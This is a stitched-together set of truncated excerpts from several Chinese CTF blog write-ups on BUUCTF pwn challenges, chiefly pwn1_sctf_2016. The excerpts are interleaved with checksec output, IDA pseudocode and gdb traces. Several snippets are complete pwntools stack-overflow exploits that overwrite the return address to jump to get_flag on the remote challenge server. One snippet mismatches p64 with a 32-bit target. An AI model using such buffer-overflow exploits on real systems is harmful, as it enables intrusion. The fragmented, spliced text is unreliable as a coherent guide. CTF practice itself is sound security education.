frompwnimport* #p=process('./pwn1') p=remote('node4.buuoj.cn',26474) payload=b'I'*20+b'a'*4+p32(0x8048f0d) p.sendline(payload) p.interactive()
方法同上: gdb warmup_csaw_2016gdb-peda$ pattern create200'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'gdb-peda$ rStarting program: /mn...
为避免过多赘述,后续并不经常强调保护的问题。 代码语言:javascript 复制 └─$ checksec ciscn_2019_n_1[*]'/home/h-t-m/ciscn_2019_n_1'Arch:amd64-64-littleRELRO:PartialRELROStack:No canary foundNX:NXenabledPIE:NoPIE(0x400000) pwn1_sctf_2016 不多废话,直接丢进 IDA 反编译,查看伪代码时提示...
exp frompwnimport*p=remote('node3.buuoj.cn',28055)p.sendline('a'*64+'AAAAAAAA'+p64(0x040060D))p.interactive() pwn1_sctf_2016 通过IDA可以发现main,vuln,get_flag 三个函数 int__cdeclmain(intargc,constchar**argv,constchar**envp){vuln();return0;} 输入的内容I替换you intvuln(){constcha...
[*]'/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/pwn1_sctf_2016/pwn1_sctf_2016'Arch:i386-32-little RELRO:PartialRELROStack:Nocanary found NX:NXenabled PIE:NoPIE(0x8048000) 2.IDA main int__cdeclmain(intargc,constchar**argv,constchar**envp){vuln();return0;} ...
from pwn import * p = process('./pwn1_sctf_2016') payload = 'I'*20 +'A'*4+ p64(0x8048F0D) p.send(payload) p.interactive() __EOF__ 本文作者:续梦人 本文链接:https://www.cnblogs.com/cwcr/p/16119854.html关于博主:评论和私信会在第一时间回复。或者直接私信我。版权声明:本博客...
pwn1_sctf_2016 1、先使用checksec检查安全选项、再用IDA进行反编译 找到get_flag() 那么这道题可能就是ret2text类型了,直接利用栈溢出到返回地址进行覆盖,进而执行get_flag()就可以了 vuln()函数将我们的输入字符串,对I进行转换,将一个I转换成了you ...
pwn1_sctf_2016 检查文件的保护措施 Arch:i386-32-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x8048000) 32位程序,开了nx保护,ida分析 intvuln(){constchar*v0;// eaxchars;// [esp+1Ch] [ebp-3Ch]charv3;// [esp+3Ch] [ebp-1Ch]charv4;// [esp+40h] [ebp-18h]charv5...
root@kali:~/Downloads# checksec pwn1_sctf_2016[*]'/root/Downloads/pwn1_sctf_2016'Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled#//栈不可执行PIE: No PIE IDA int__cdeclmain(intargc,constchar**argv,constchar**envp){ ...
pwn1_sctf_2016 源代码上! 此时我们nc一波! 此时可以找到后门函数! frompwnimport* context.log_level ='debug'r = remote('node3.buuoj.cn',26487) payload =b'I'*(21) +b'a'+ p32(0x08048F0D) r.sendline(payload)print(r.recv())